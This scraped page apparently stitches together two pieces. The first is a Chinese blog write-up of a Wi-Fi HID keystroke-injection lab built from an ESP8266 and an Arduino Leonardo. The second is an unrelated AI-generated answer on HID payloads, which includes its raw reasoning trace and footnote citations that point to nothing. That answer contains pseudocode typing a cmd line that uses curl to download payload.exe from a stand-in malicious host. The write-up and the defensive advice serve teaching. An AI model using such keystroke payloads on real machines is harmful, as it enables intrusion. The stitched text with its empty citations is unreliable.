HID攻击进阶——WHID injector

Wi-Fi HID 注入攻击实验
本文介绍了一种通过Wi-Fi实现的人机接口设备(HID)注入攻击实验。实验使用ESP8266作为接入点(AP),Arduino Leonardo作为攻击主机,通过无线方式控制目标计算机的键盘输入。

前言

HID是Human Interface Device的缩写,意思是人机接口设备。它是对鼠标、键盘、游戏手柄这一类可以操控电脑设备的统称。延伸出的WHID代表基于Wi-Fi的HID注射器,即对HID攻击进行无线化攻击时的一种注入工具。

本次实验采用的攻击原理如下图:

攻击者使用ESP8266作为AP,在自己的电脑创建客户端连接AP。在客户端键入命令发送到ESP8266,它再转发给Arduino Leonardo。利用Arduino中的Keyboard库就可以使用传输的命令控制目标主机的键盘。

一、 前期准备

1) 硬件设备:

    1.Arduino Leonardo

    2.ESP8266 Wi-Fi模块

    3.稳压器

2) 软件环境:

1. sockettool(在工具集中):

    用于连接ESP8266:在电脑上运行软件创建客户端,与ESP8266创建的AP之间进行通讯。

2. Arduino IDE:

    编写程序烧录进Arduino Leonardo。实验用版本为1.8.3.

3. 串口调试助手(在工具集中):

    调试程序所需。

二、 实验步骤

1) ESP8266设置

使用串口连接ESP8266,依次键入命令:

  1. AT+CWMODE=3 //设置模式为AP兼Station模式
  2. AT+RST //模式改变需重启后生效
  3. AT+CWSAP=”name”,”password”,11,2 //创建一个名为name,密码为password的AP节点
  4. AT+UART=9600,8,1,0,0 //设置波特率为9600,Arduino和ESP8266波特率需相同

2) 代码烧录

在接线之前需要将代码烧录进Arduino Leonardo,直接将代码复制进工程,连接Arduino在IDE界面点击“上传”。详细代码见附录,这里分析关键部分。

初始化ESP8266:

上述代码在setup中执行,在每次Arduino连接电源后对ESP8266进行设置。

代码中“AT+RST”为重启,“AT+CIPMUX=1”设置为多路连接,“AT+CIPSERVER=1,8089”创建服务器并设置端口。

读取显示数据:

在loop中循环读取ESP8266向串口发送的数据并打印在Arduino接入的电脑上。需要注意的是Serial1.readStringUntil(‘:’)这句话,因为使用ESP8266传输的数据格式为:“+IPD,0,3:123”,其中123为你输入的字符,所以使用这句话可以过滤“:”及其之前的字符。

很重要的一点是:如果不使用Until,当第一个字节为符号时Arduino不能输出,这时第一个字节是加号,所以在电脑上看不到任何输出。

3) 硬件接线

设置好ESP8266和Arduino之后就可以进行硬件接线了,接线原理图如下:

其中Arduino和ESP8266务必共地,否则容易出现乱码的现象,这可以使用稳压器实现。实际接线图如下:

4) 客户端操作

    1. 连接到之前创建的网络name。

    2. 打开sockettool.exe,点击左侧“TCP Client”后点击“创建”来创建客户端:

    3. 输入IP:“192.168.4.1”,端口号:“8089”:

    4. 点击“连接”,如果连接成功可以看到“已连接”字样:

三、 实验演示

确保在已连接状态下,发送两次“123”:

可以在目标主机看到键入的结果:

如果想要了解更多网络空间安全知识,请访问 https://www.sectown.cn/?from=oschina,或者搜索 SecTown 。

转载于:https://my.oschina.net/u/3612774/blog/1622233

<think>好的,我现在需要帮助用户理解HID Payload在IT安全或道德黑客中的含义及用法。首先,我得先回忆一下HID的基础知识。HID是Human Interface Device的缩写,通常指键盘、鼠标等输入设备。在安全领域,HID攻击通常指的是利用这些设备接口执行恶意操作,比如BadUSB攻击。Payload在这里应该是指攻击中携带的有效载荷,也就是实际执行的恶意代码或指令。 接下来,我需要确认HID Payload的具体应用场景。比如,攻击者可能会将恶意固件刷写到USB设备中,使其伪装成键盘,当插入目标计算机时自动执行按键操作,比如打开命令行、下载恶意软件等。这种情况下,HID Payload就是模拟键盘输入的一系列指令,比如使用Ducky Script编写的脚本。 然后,我应该考虑HID Payload的常见工具和实例。例如,USB Rubber Ducky和MalDuino是常用的硬件工具,它们可以快速注入预定义的攻击脚本。这些工具使用的Payload通常需要转换成目标系统能够识别的键盘输入,可能涉及不同操作系统的兼容性问题,比如Windows、MacOS或Linux下的不同快捷键。 另外,HID攻击的防御措施也很重要。用户可能需要知道如何防范这类攻击,比如禁用自动运行、使用设备白名单或物理隔离USB端口。同时,引用中的安全等级一提到可审计的代码,这可能与确保设备固件的来源可信有关,防止恶意固件被刷入。 用户的问题还提到道德黑客中的使用,所以需要强调合法授权的重要性。在渗透测试中,HID Payload可能用于模拟攻击,测试系统的物理安全防护。例如,测试公司内部员工是否会随意插入未知USB设备。 最后,我需要组织这些信息,用清晰的结构解释HID Payload的定义、工作原理、典型工具、攻击场景和防御措施,并生成相关问题。同时,确保遵循格式要求,如使用中文、正确LaTeX格式(虽然这个问题可能用不上太多数学公式,但如果有变量或代码示例,需正确应用),并添加引用标识。</think>### HID Payload 的含义及用法 #### 1. **HID 的定义** **HID**(Human Interface Device,人机接口设备)指与用户直接交互的设备,如键盘、鼠标、触摸屏等。在安全领域,**HID Payload** 特指通过模拟此类设备的输入行为执行恶意操作的代码或指令[^1]。 #### 2. **HID Payload 的工作原理** 攻击者通过篡改或伪造HID设备(如USB设备),使其在接入目标系统时被识别为合法输入设备。随后,HID Payload 会模拟键盘输入或鼠标操作,自动执行预定义的恶意命令。例如: ```python # 模拟键盘输入打开命令行并下载恶意文件(伪代码示例) PRESS WIN + R TYPE "cmd.exe /k curl http://malicious.site/payload.exe -O C:\payload.exe" PRESS ENTER ``` #### 3. **典型攻击场景** - **BadUSB攻击**:恶意USB设备被插入后,伪装成键盘并注入Payload[^1]。 - **自动提权**:通过快捷键组合启动系统漏洞利用程序。 - **数据窃取**:记录键盘输入(如密码)并回传至攻击者服务器。 #### 4. **常用工具与实例** - **USB Rubber Ducky**:支持Ducky Script编写Payload,语法示例: ``` DELAY 1000 STRING Hello, HACKED! ENTER ``` - **MalDuino**:基于Arduino的开源工具,可自定义攻击逻辑。 - **Cactus WHID**:结合WiFi远程控制的HID攻击设备。 #### 5. **防御措施** - **禁用自动执行**:关闭系统的自动运行功能(如Windows的AutoPlay)。 - **设备白名单**:仅允许授权设备接入(引用安全等级一的代码审计原则[^1])。 - **物理隔离**:限制USB端口使用,或采用防篡改硬件。 #### 6. **道德黑客中的应用** 在授权渗透测试中,HID Payload 可用于: - 测试物理安全策略(如员工是否会插入未知USB)。 - 验证系统对自动化攻击的防护能力(如快捷键漏洞)。 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值